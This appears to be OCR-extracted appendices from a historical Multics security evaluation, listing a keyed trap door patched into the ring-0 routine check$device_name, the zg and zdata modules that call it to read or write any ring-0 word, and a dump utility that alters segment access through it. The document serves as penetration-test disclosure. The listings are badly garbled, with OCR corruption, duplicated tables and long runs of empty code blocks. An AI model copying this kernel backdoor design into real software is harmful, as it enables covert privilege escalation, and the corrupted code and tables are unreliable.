<td>external dcl 7 ref 26 36</td>
</tr>
<tr>
<td>word</td>
<td>000108</td>
<td>automatic</td>
<td>bit(36)</td>
<td></td>
<td>dcl 7 set ref 28 30 39</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>dcl 7 set ref 1 23 38 39</td>
</tr>
</tbody>
</table>

**Names Declared by Explicit Context.**

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc</th>
<th>Storage Class</th>
<th>Data Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>common</td>
<td>000000</td>
<td>4</td>
<td>constant</td>
<td>label</td>
<td>dcl 28 ref 28 28</td>
</tr>
<tr>
<td>error</td>
<td>000021</td>
<td>constant</td>
<td>entry</td>
<td>label</td>
<td>dcl 32 ref 32 37</td>
</tr>
<tr>
<td>flt</td>
<td>000025</td>
<td>constant</td>
<td>entry</td>
<td></td>
<td>external dcl 1 ref 1</td>
</tr>
<tr>
<td>gil</td>
<td>000025</td>
<td>constant</td>
<td>entry</td>
<td></td>
<td>external dcl 23 ref 23</td>
</tr>
</tbody>
</table>

**Names Declared by Context or Implication.**

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc</th>
<th>Storage Class</th>
<th>Data Type</th>
<th>References</th>
</tr>
</thead>
<tbody>
<tr>
<td>addr</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Storage Requirements for this Program.**

<table>
<thead>
<tr>
<th>Name</th>
<th>Length</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>478:23</td>
<td>314</td>
</tr>
<tr>
<td></td>
<td>50:22</td>
<td>12</td>
</tr>
</tbody>
</table>

External procedure fl uses 114 words of automatic storage.

**The Following External Operators are used by this Program.**

- ext_entry

**The Following external Entries are Called by this Program.**

- com_err
- flte
- flaggia
- ring0_get_sagetr

No external variables are used by this Program.

**Line LOC**

```
     LINE LOC  LINE LOC  LINE LOC  LINE LOC  LINE LOC  LINE LOC  LINE LOC  LINE LOC
1  000020  19  000026  20  000030  23  000031  26  000037  28  000040  30  000074
32  000076  34  000115  36  000116  37  000152  38  000154  39  000201  40  000223
```
<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Symbol</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000001</td>
<td>600022</td>
<td>3521 20</td>
<td></td>
</tr>
<tr>
<td>000002</td>
<td>2</td>
<td>00020</td>
<td>6521 00</td>
</tr>
<tr>
<td>000003</td>
<td>2</td>
<td>00060</td>
<td>3521 00</td>
</tr>
<tr>
<td>000004</td>
<td>2</td>
<td>77742</td>
<td>2521 00</td>
</tr>
<tr>
<td>000005</td>
<td>2</td>
<td>77720</td>
<td>3331 00</td>
</tr>
<tr>
<td>000006</td>
<td>6</td>
<td>00932</td>
<td>2581 00</td>
</tr>
<tr>
<td>000007</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000008</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000009</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000a</td>
<td>6</td>
<td>00082</td>
<td>3521 20</td>
</tr>
<tr>
<td>00000b</td>
<td>2</td>
<td>00084</td>
<td>2341 00</td>
</tr>
<tr>
<td>00000c</td>
<td>6</td>
<td>00086</td>
<td>7561 00</td>
</tr>
<tr>
<td>00000d</td>
<td>2</td>
<td>00086</td>
<td>3521 20</td>
</tr>
<tr>
<td>00000e</td>
<td>6</td>
<td>00086</td>
<td>3521 20</td>
</tr>
<tr>
<td>00000f</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000010</td>
<td>6</td>
<td>00086</td>
<td>7561 00</td>
</tr>
<tr>
<td>000011</td>
<td>6</td>
<td>00086</td>
<td>3521 20</td>
</tr>
<tr>
<td>000012</td>
<td>6</td>
<td>00086</td>
<td>3521 20</td>
</tr>
<tr>
<td>000013</td>
<td>6</td>
<td>00086</td>
<td>3521 20</td>
</tr>
<tr>
<td>000014</td>
<td>6</td>
<td>00086</td>
<td>3521 20</td>
</tr>
<tr>
<td>000015</td>
<td>6</td>
<td>00086</td>
<td>3521 20</td>
</tr>
<tr>
<td>000016</td>
<td>6</td>
<td>00086</td>
<td>3521 20</td>
</tr>
<tr>
<td>000017</td>
<td>6</td>
<td>00086</td>
<td>3521 20</td>
</tr>
<tr>
<td>000018</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000019</td>
<td>6</td>
<td>00082</td>
<td>3520 00</td>
</tr>
<tr>
<td>00001a</td>
<td>0</td>
<td>00902</td>
<td>3581 20</td>
</tr>
<tr>
<td>00001b</td>
<td>7</td>
<td>77777</td>
<td>6288 00</td>
</tr>
<tr>
<td>00001c</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00001d</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00001e</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00001f</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000020</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000021</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000022</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000023</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000024</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000025</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000026</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000027</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000028</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000029</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00002a</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00002b</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00002c</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00002d</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00002e</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00002f</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000030</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000031</td>
<td>6</td>
<td>00022</td>
<td>3521 20</td>
</tr>
<tr>
<td>000032</td>
<td>2</td>
<td>00020</td>
<td>6521 00</td>
</tr>
<tr>
<td>000033</td>
<td>2</td>
<td>00060</td>
<td>3521 00</td>
</tr>
<tr>
<td>000034</td>
<td>2</td>
<td>77742</td>
<td>2521 00</td>
</tr>
<tr>
<td>000035</td>
<td>2</td>
<td>77720</td>
<td>3331 00</td>
</tr>
<tr>
<td>000036</td>
<td>6</td>
<td>00032</td>
<td>2541 00</td>
</tr>
<tr>
<td>000037</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000038</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000039</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00003a</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00003b</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00003c</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00003d</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00003e</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00003f</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- **Entry to store 36 bits**: 000000
- **36 bits to be stored**: 000001
- **Ptr to where to store**: 000002
- **Ptr to trapdoor in esd. link**: 000003
- **Signaller does trap pl10**, **Ptr to instructions to xed**: 000004
- **Ptr to trapdoor in esd. link**: 000005
- **Signaller does trap pl10**, **Ptr to instructions to xed**: 000006
- **Transfer to signaler**: 000007
- **Trapdoor xed"s these**: 000008
- **Ptr to output argument**: 000009
- **Ptr to where to read**: 000010
- **Ptr to trapdoor in esd. link**: 000011
- **Signaller does trap pl10**, **Ptr to instructions to xed**: 000012
- **Ptr to signaler**: 000013

**Note**: The symbols and values are from an assembly listing, indicating various instructions and addresses.
```
000052 ea 777777 6200 00 43
000053 ea 0 e0000 7101 20 44
000054 ea 1234 22 45
000055 ea 6 00054 7563 20 46
000056 ea 6 0020 1731 20 47
000057 ea 6 0010 0731 00 48
000058 ea 6 0024 6101 00 49

NO LITERALS

000052 ea 777777 6200 00 43
000053 ea 0 e0000 7101 20 44
000054 ea 1234 22 45
000055 ea 6 00054 7563 20 46
000056 ea 6 0020 1731 20 47
000057 ea 6 0010 0731 00 48
000058 ea 6 0024 6101 00 49

```

```
end

```

```
end

```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```
APPENDIX C

Trap door in check$device_name Listing

This appendix contains listings of the trap door inserted in check$device_name in Section 3.4.5.2 and the two modules needed to call the trap door. Check$device_name is actually one entry point in the procedure check$device_index. The patches are shown in the assembly language listing of the code produced by the PL/I compilation of check$device_index. Most of the patches were placed in the entry sequence to check$device_index, taking advantage of the fact that PL/I entry sequences contain the ASCII representation of the entry name for debugging purposes. Since the debugger cannot run in ring 0, this is essentially free patching space. Additional patches were placed at each return point from check$device_name, so that the trap door would be executed whenever check$device_name returned to its caller.

Zg is a PL/I procedure which calls the trap door to either read or write any 36-bit word accessible in ring 0. Zg uses zdata, an assembly language routine, to define a structure in the linkage section which contains machine instructions with which to communicate with the trap door.

The trap door algorithm is as follows:

1. Set the bp register to point to the argument rcode. Rcode has been bound to zdata$code in the procedure call from zg and must lie on an odd word boundary.

2. Compare the double word at up|1 with the key string in the trap door to see if this is a legitimate user calling. If the keys do not match, then just return. If the keys do match, then we know who this is and must proceed.

3. Do an execute double (XED) on the two instruction at up|3. This allows the caller to provide any instructions desired.

4. The two instructions provided by zdata at up|5 and up|3 are ldq bp|5 and stq bp|7. Bp|5 and bp|7 contain pointers to the locations from which to read and to which to write, respectively. These pointers are set in zg.

5. Finally, the trap door simply returns upon completion of the XED pair.
COMPILATION LISTING OF SEGMENT check
Compiled by: MULTICS PL/I Compiler, Version of 3 October 1972,
Compiled on 02/21/76 17:13.3 est Thu

checkdevice_index: proc (devx, dp, cctp, roote);
  4cl devx fixed bin (12);
  /* dp ptr. */
  13cl cctp ptr.
  14cl roote fixed bin (17);
  15cl cctpe fixed bin (18);

  16cl code fixed bin(17);
  17cl load_check ext entry;

  18cl error_table_devx-name-cat ext fixed bin,
  19cl error_table_devx-at-assed ext fixed bin,
  20cl error_table_devx-batch ext fixed bin;

  21cl /* BEGIN INCLUDE ... get .... */
  22cl /* Declaration for the Device Configuration Table */

  23cl 1 dev-name ext aligned;
  24cl 2 dev fixed bin (17);
  25cl 3 devc (200 /* dev-name-max */ ),
  26cl 3 dev-name char (32);
  27cl 3 phy_nam char (32);
  28cl 3 sigdev fixed bin (3);
  29cl 3 phychr fixed bin (12);
  30cl 3 direct-chan bit (1);

  31cl /* END INCLUDE ... get .... */

  32cl /* BEGIN INCLUDE ... get .... */

  /* Channel Assignment Table for the GEO Interface Module */

  33cl 1 cat-name ext aligned;

  34cl 2 event fixed bin,
  35cl 2 event_base fixed bin (30),
  36cl 1 stat_base bit (3),
  37cl 2 saefp ptr,
  38cl 2 devtab (200),

  39cl (3 cctpe bin (18),
  40cl (3 cctpe bin (18),
  41cl /* GEO vart avant */
  42cl /* absolute address of base of GEO segment */
  43cl /* status channel used by GEO */
  44cl /* pointer to safety GEO pair */

  45cl /* per-device-index information accessed */
  46cl /* by the "dev" parameter in the GEO calls */
  47cl /* segment number of the GEO for this user */
  48cl /* only accessed by one process */
/* offset of dev list within dev segment */
/* here is interpreted as dev->list not */
/* not allocated */
/* size of dev list in dev's */
/* */
/* index pointing to oldest item in status queue */
/* */
/* index pointing to end of status queue */
/* */
/* */
/* 0 if status lost */
/* */
/* on if direct channel */
/* */
/* guess again */
/* */
/* index pointing to head of free status queue */
/* */
/* status queue overflow count */
/* */
/* status queue */
/* remember to change CUR_LENGTH of csw_dev in */
/* hardware header if you change this */
/* */
/* pointer to devtab entry */
/* "devtab" entry declaration */
/*
  101  rcode = 0;
  102  dp = addr(cast_long,devtab (devx));
  103  call isa_m_check(devx,rcode); /* see if device assigned to this process */
  104  if code = 1 then do;
  105     rcode = error_table DevExpress
  106     dp = null;
  107     return;
  108  end;
  109  cctno = dp <= dev_entry,cctno;
  110  if cctno = 0 then do;
  111     rcode = error_tableInvalidArgumentException
  112     dp = null;
  113     return;
  114  end;
  115  cctp = baseptr (cctno);
  116  return;
  117  
  118  device_name: entry (devname, dctx, rcode);
  119  devname: char (*)
  120  dctx: fixed dctx (17)
  121  /* device name */
  122  /* device index from DCT */
  123  /* setup and search the DCT for match */
  124  
  125  rcode = 0;
  126  do {dctx <= 1 to dctx,devname}
  127     if devname,devctx (dctx),dev_name = devname then return;
  128  end;
  129  /* no matches, set complaint */
  130  rcode = error_tableInvalidArgumentException
  131  return;
  132  end;
VMUBl« 9BCUMP B| COBTBZT OB XHUXCftfXOB.

40t

bttUt« fanetion tatornoX
tal

10

«

baMMr boll-ttn fcactlan intarnaX raf

117

133

H

V

14

suilt-in

sfunction

110

114
```
1 zg1 proc (do, word);
2 dcl 1 zdata$code ext static aligned,
3 2 code fixed bin aligned,
4 2 key bit (72) aligned,
5 2 inst (2) bit (36) aligned,
6 2 (ptr1, ptr2) ptr aligned
7 8 dcl do ptr, word bit (36) aligned;
9 dcl hcs_check_device entry (char (*), fixed bin (17), fixed bin),
10 dcfx fixed bin (17) init (6);
11 ptr = do;
12 ptr2 = addr (word);
13 comment call hcs_check_device ("", dcfx, code);
14 return;
15 if entry (do, word);
16 ptr1 = addr (word);
17 ptr2 = do;
18 go to comment
19 end;
```
### Names Declared in This Compilation

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc Storage Class</th>
<th>Data Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>code</td>
<td>00002</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>level 2 dcl 2 set ref 14</td>
</tr>
<tr>
<td>dctx</td>
<td>00010</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>initial dcl 9 set ref 9 14 9</td>
</tr>
<tr>
<td>dp</td>
<td></td>
<td>parameter</td>
<td>pointer</td>
<td>dcl 8 ref 1 12 17 19</td>
</tr>
<tr>
<td>hcs_Scheck_device</td>
<td>00014</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 9 ref 14</td>
</tr>
<tr>
<td>inst</td>
<td>3</td>
<td></td>
<td></td>
<td>array level 2 dcl 2</td>
</tr>
<tr>
<td>ipay</td>
<td>1</td>
<td>external static</td>
<td>bit(36)</td>
<td>level 2 dcl 2</td>
</tr>
<tr>
<td>ptr1</td>
<td>6</td>
<td>external static</td>
<td>bit(36)</td>
<td>level 2 dcl 2 set ref 12 10</td>
</tr>
<tr>
<td>ptr2</td>
<td>10</td>
<td>external static</td>
<td>pointer</td>
<td>level 2 dcl 2 set ref 12 19</td>
</tr>
<tr>
<td>word</td>
<td></td>
<td>parameter</td>
<td></td>
<td>dcl 8 set ref 1 13 17 18</td>
</tr>
</tbody>
</table>

### Names Declared by Explicit Context

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc Storage Class</th>
<th>Data Type</th>
<th>References</th>
</tr>
</thead>
<tbody>
<tr>
<td>common</td>
<td>00030</td>
<td>constant</td>
<td>label</td>
<td>dcl 14 ref 14 20</td>
</tr>
<tr>
<td>zf</td>
<td>00052</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 17 ref 17</td>
</tr>
<tr>
<td>zg</td>
<td>00011</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 1 ref 1</td>
</tr>
</tbody>
</table>

### Name Declared by Context or Implication

<table>
<thead>
<tr>
<th>Identifier</th>
<th>References</th>
</tr>
</thead>
<tbody>
<tr>
<td>addr</td>
<td>builtin function</td>
</tr>
</tbody>
</table>

### Storage Requirements for This Program

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Data</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>144</td>
<td>162</td>
<td>72</td>
</tr>
<tr>
<td>Length</td>
<td>322</td>
<td>72</td>
<td>16</td>
<td>126</td>
<td>92</td>
</tr>
</tbody>
</table>

External procedure zg uses 82 words of automatic storage

### The Following External Operators Are Used by This Program

- call_ext_out_desc
- return
- ext_entry

### The Following External Entries Are Called by This Program

- hcs_Scheck_device

### The Following External Variables Are Used by This Program

- zdatacode

### Locs

<table>
<thead>
<tr>
<th>Line</th>
<th>Loc</th>
</tr>
</thead>
<tbody>
<tr>
<td>9</td>
<td>000009</td>
</tr>
<tr>
<td>10</td>
<td>000008</td>
</tr>
<tr>
<td>12</td>
<td>000017</td>
</tr>
<tr>
<td>13</td>
<td>000025</td>
</tr>
<tr>
<td>14</td>
<td>000030</td>
</tr>
<tr>
<td>15</td>
<td>000050</td>
</tr>
<tr>
<td>17</td>
<td>000091</td>
</tr>
</tbody>
</table>
ASSEMBLY LISTING OF SEGMENT >user_dir_dir>Druid>Kernel>compiler_pool>zdata.obj
ASSEMBLED ON 04/11/74 1826.1 EDT Thu
OPTIONS USED list old_object old_call symbols
ASSEMBLED BY ALM Version 4.4, September 1973
ASSEMBLER CREATED 02/13/74 1728.8 EDT Wed

000000 000000
000000

000000 000011

1 2
name segdef
3 code
4 use 
5 leaure

000010 000000 000000 000000 000000 000000
000011 000000 000000 000000 000000 000000
000012 742331 274457 000000 000000 000000 000000
000013 612563 174267 000000 000000 000000 000000
000014 2 00005 2361 20 000007 7561 20 000007 7561 20
000015 2 00007 7561 20 000007 7561 20 000007 7561 20
000016 007777 000043 000043 000043 000043 000043
000017 000001 000000 000000 000000 000000 000000
000020 007777 000043 000043 000043 000043 000043
000021 000001 000000 000000 000000 000000 000000

NO LITERALS

"make code addressable"

"Instructions below must be even to pad here with 0"
"System error code"
"72 bit key to compare in ring"
"Zero for accidental invocation"
"load thru ptr1"
"store thru ptr2"
"ptr1"
"ptr2"
"put in linkage section"
### NAME DEFINITIONS FOR ENTRY POINTS AND SEGDEFS

<table>
<thead>
<tr>
<th>Address</th>
<th>Symbol</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>000000</td>
<td>code</td>
<td></td>
</tr>
<tr>
<td>000001</td>
<td>symbol_table</td>
<td></td>
</tr>
<tr>
<td>000002</td>
<td>rel_text</td>
<td></td>
</tr>
<tr>
<td>000003</td>
<td>rel_link</td>
<td></td>
</tr>
<tr>
<td>000004</td>
<td>rel_symbol</td>
<td></td>
</tr>
</tbody>
</table>

### NO EXTERNAL NAMES

### NO TRAP POINTER WORDS

### TYPE PAIR BLOCKS

<table>
<thead>
<tr>
<th>Address</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>000022</td>
<td></td>
</tr>
<tr>
<td>000033</td>
<td></td>
</tr>
</tbody>
</table>

### INTERNAL EXPRESSION WORDS
### MULTICS ASSEMBLY CROSS REFERENCE LISTING

<table>
<thead>
<tr>
<th>Value</th>
<th>Symbol</th>
<th>Source file</th>
<th>Line number</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>code</td>
<td>zdata</td>
<td>2, 6</td>
</tr>
<tr>
<td>10</td>
<td>impure</td>
<td>zdata</td>
<td>3, 13</td>
</tr>
<tr>
<td>12</td>
<td>key</td>
<td>zdata</td>
<td>7</td>
</tr>
</tbody>
</table>

**NO FATAL ERRORS**
APPENDIX D

Dump Utility Listing

This appendix is a listing of a dump utility program designed to use the trap door shown in Section 3.4.5 and Appendix C. The program, zd, is a modified version of the installed Multics command, ring_zero_dump, documented in the UPM System Programmers' Supplement (SP375). Zd will dump any segment whose SDW in ring zero is not equal to zero. In addition, zd will not dump the ring zero descriptor segment, because the algorithm used would result in the ring 4 descriptor segment being completely replaced by the ring 0 descriptor segment which could potentially crash the system. Zd will also not dump master procedures, since modifying their SDW's could also crash the system.
This procedure prints out specified locations of a segment in octal format. It checks first to see if the segment has a counterpart in ring 0 and if not checks the given name /*

dcl farg char (tc) bpec (tp),
(error_table_sname, error_table_segment) fixed bin ext,
(code, out), /* fc, first, initw, the_same, next_arg, offset, left, pg_size, bound) fixed bin
count fixed bin (35),
t (3) char (16) aligned static init ("-60 -60 -60 -60 -60 -60 -60 -60 -60 -60 -60 -60 -60 -60 -60 -60"),
date (1824) fixed bin,
bit (1824) bit (36) aligned based (addr (data)),
overlay (8 bit-1) bit (36) aligned based,
(fp, data, segptr) ptr,
dirname char (168),
ename char (32),
cv_ecc_check_entry (char (*), fixed bin) returns (fixed bin (35)),
(com_err, loca) entry options (variable),
rings_get_segptr entry (char (*), char (*), ptr, fixed bin),
hcs_terminate_numpy entry (ptr, fixed bin),
hcs_initiate entry (char (*), char (*), char (*), fixed bin, fixed bin, ptr, fixed bin),
zgasf, sz entry (ptr, bit (36) aligned),
seg fixed bin,
dseg_word bit (36) aligned based (addr (dseg)),
cu_sarg_ptr ext entry (fixed bin, ptr, fixed bin, fixed bin),
condition_ext entry,
expand_path_ext entry (ptr, fixed bin, ptr, ptr, fixed bin)

dcl 1 dseg aligned,
2 pad1 bit (19) unreal,
2 band bit (8) unreal,
2 size bit (1) unreal,
2 pad2 bit (2) unreal,
2 acc bit (6) unreal

dcl save_acc bit (36) aligned,
mssegptr ptr

initw = 0;/
/* initw = 0 if we haven't initiated a segment */
dataeq = addr (data);
/* get pointer to data area */
call cu_sarg_ptr (1, tp, tc, code);
/* pick up the first arg (name/number) */
if code = error_table_sname tc = 0 then do;
    call loca ("rd sname/segment first count");
    return;
end;

if targ = "-ns" 1 targ = "-nse" then do;
    next_arg = 3;
    call cu_sarg_ptr (next_arg-1, tp, tc, code);
    if code = 0 then do;
        call com_err (code, "zd");
        /* tell user he gave bad args */
    end;
end;

end;
end;
    go to get_name;
end;

next_arg = 2;
l = cv_oct_check_ (targ, code);  /* first word is at arg position 2 */
if code = 0 then do;
    segptr = null ( );  /* must have been a name (not an octal number) */
    /* initialize pointer to null(), says don't have it yet */
    call ring0_get_ssegptr ("", targ, segptr, code);  /* get pointer to the segment */
    if segptr = null () then do;
        call expand_path_ (tp, tc, addr (dirname), addr (ename), code);  /* convert to dir/entry names */
        if code = 0 then go to missing;  /* error in path name */
        call hcs_initiate (dirname, ename, "", 0, 0, segptr, code);  /* get pointer to segment */
        if code = 0 then if code = error_table (segname) then go to missing;
        initn = 1;  /* must terminate the segment later */
    end;
end;
else segptr = baseptr ( l );  /* get pointer to base of segment */
if baseo ( segptr ) = "a" then do;
    call com_err_ (0, "ID", "It is a no-no to dump dseg.");
    return;
end;
call cu_arg_ptr ( next_arg, tp, tc, code);  /* pick up second arg (first word to dump) */
if code = error_table (segarg) then do;
    first = 81
    count = 0;
    go to get_bound;
end;
first = cv_oct_check_ (targ, code);
if code = 0 then do;
    call lea_ ("" ^^Bad first word "a"", targ)
    return;
end;
call cu_arg_ptr ( next_arg+1, tp, tc, code);  /* get count of words to dump */
if code = error_table (segarg) then do;
    count = cv_oct_check_ (targ, code);  /* convert count value */
    if code = 0 then do;
        bed_value =
        if code = 0 then do;
            bed_count =
            call lea_ ("" ^^Bad count value "a"", targ)
            return;
end;
end;
end;

get_bound;
call ring0_get_ssegptr ( "", "wdseg", wdsegptr, code);
call zg (ptr ( baseptr (0), baseo ( segptr ) ), dseg_word);  /* get size of segment from bound in SDW */
call lea_ ("SDW = \"", dseg_word);
return;
end}

if substr (dseg, acc, 4, 3) = "188" then do;
call lea_ ("di Master procedure. SDW = \", dseg_word);
return;
end;
dseg, acc = "118818";
call zg(ptr, desegptr, baseno(segptr), save_acc); /* get wired ring access and save in save_acc */
call zg2z(ptr, desegptr, baseno(segptr)); /* change wired ring access to ring 0 access */
if deseg.size then pg.size = 64 else pg.size = 1024; /* get page size */
bound = (fixed(deseg.end, 8) + 1)*pg.size; /* get words of segment */

if count > bound - first then count = bound - first; else if count < 1 then go to bed_count;
offset = 8; /* specify which 1024 word block we're moving from ring 0 */
outi = 1;
loop:
if count >= 1024 then left = 1024; else left = count; /* get number of words to print in this loop */
addr(data) -> overlay = ptr (segptr, first+offset) -> overlay;
l = 1;
the_same = 0;
if left <= 3 then go to real; /* if <= 3 to print, do it straight out */
do while (left > 31)
   if the_same = 0 then
      call loe_ ("\"60 \" = " \"w\", first+out1-1, data (1), data (l+1), data (l+2), data (l+3));
      do tc = 0 to 31; /* loop in print loop while at least 4 words to print */
      if data (l+tc) = data (l+tc+4) then go to different;
   end;
   the_same = the_same + 1;
   go to skip;
different:
   the_same = 0;
skip:
   l = l + 4;
   outi = outi + 4;
   left = left - 4;
   end;
offset = offset + 1024;
count = count - 1024;
if count > 0 then go to loop; /* loop back if still more to print */
if left > 0 then do;
do tc = 0 to left-1;
if data (l+tc) = data (l+tc+4) then go to real;
end;
if the_same < 2 then call loe_ ("\"w\", first+out1-1, data (1), data (l+1), data (l+2));
go to check_init;
reinit:
call loe_ (l (left), (first+out1-1, data (1), data (l+1), data (l+2));
end;
check_init:
call zg(zgptr, desegptr, baseno(segptr), save_acc); /* replace old wired ring access */
if init = 0 then call hcs_terminate_iename (segptr, code);
return;
<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>acc</td>
<td>0(38)</td>
<td>002206</td>
<td>automatic</td>
<td>bit(6)</td>
</tr>
<tr>
<td>bdate</td>
<td>0(19)</td>
<td>002206</td>
<td>automatic</td>
<td>bit(36)</td>
</tr>
<tr>
<td>bound</td>
<td>0001113</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>code</td>
<td>000100</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>com_arr_count</td>
<td>000034</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>com_arr_count</td>
<td>000114</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>cu_err_str</td>
<td>000092</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>cu_err_str</td>
<td>000092</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>cu_err_str</td>
<td>000092</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>data</td>
<td>002210</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>dirname</td>
<td>002214</td>
<td>automatic</td>
<td>char(150)</td>
<td></td>
</tr>
<tr>
<td>dmsg</td>
<td>002226</td>
<td>automatic</td>
<td>structure</td>
<td></td>
</tr>
<tr>
<td>dmsg_word</td>
<td>002226</td>
<td>automatic</td>
<td>bit(36)</td>
<td></td>
</tr>
<tr>
<td>envse</td>
<td>002176</td>
<td>automatic</td>
<td>char(52)</td>
<td></td>
</tr>
<tr>
<td>expand_path</td>
<td>000038</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>first</td>
<td>000094</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>hnc_2init</td>
<td>000100</td>
<td>internal static</td>
<td>char(16)</td>
<td></td>
</tr>
<tr>
<td>hnc_2init</td>
<td>000100</td>
<td>internal static</td>
<td>char(16)</td>
<td></td>
</tr>
<tr>
<td>hnc_2init</td>
<td>000100</td>
<td>internal static</td>
<td>char(16)</td>
<td></td>
</tr>
<tr>
<td>i</td>
<td>000094</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>initw</td>
<td>000105</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>lloc</td>
<td>000056</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>left</td>
<td>000111</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>next_arr</td>
<td>000107</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>offset</td>
<td>000107</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>outi</td>
<td>000107</td>
<td>automatic</td>
